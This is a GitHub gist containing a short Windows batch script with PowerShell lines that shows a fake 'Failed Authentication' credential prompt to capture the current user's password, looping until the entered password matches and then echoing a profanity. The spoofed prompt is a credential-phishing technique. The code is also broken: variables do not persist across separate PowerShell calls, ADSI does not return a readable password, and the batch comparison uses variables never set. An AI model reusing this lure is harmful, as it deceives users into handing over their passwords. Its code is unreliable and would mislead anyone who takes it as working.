Skip to content

Instantly share code, notes, and snippets.

@sirius-beck
Last active September 26, 2023 13:41
Show Gist options
  • Save sirius-beck/d5d4d01b837fefb44d963af126b34d49 to your computer and use it in GitHub Desktop.
Save sirius-beck/d5d4d01b837fefb44d963af126b34d49 to your computer and use it in GitHub Desktop.
Gets the windows user's password and runs a script when the correct password is entered
powershell $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
powershell $userSID = $currentUser.User.Value
:prompt
powershell $cred = $host.ui.promptforcredential('Failed Authentication', '', [Environment]::UserDomainName+'\'+[Environment]::UserName, [Environment]::UserDomainName).GetNetworkCredential().Password
powershell $adsi = [ADSI]"WinNT://$env:USERDOMAIN/$env:USERNAME,user"
powershell $adsiPass = $adsi.InvokeGet("Password")
powershell $adsiPassToStr = [System.Text.Encoding]::Unicode.GetString($adsiPass)
if "!adsiPassToStr!" == "!cred!" (
goto script
) else (
goto prompt
)
:script
echo "fuck"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment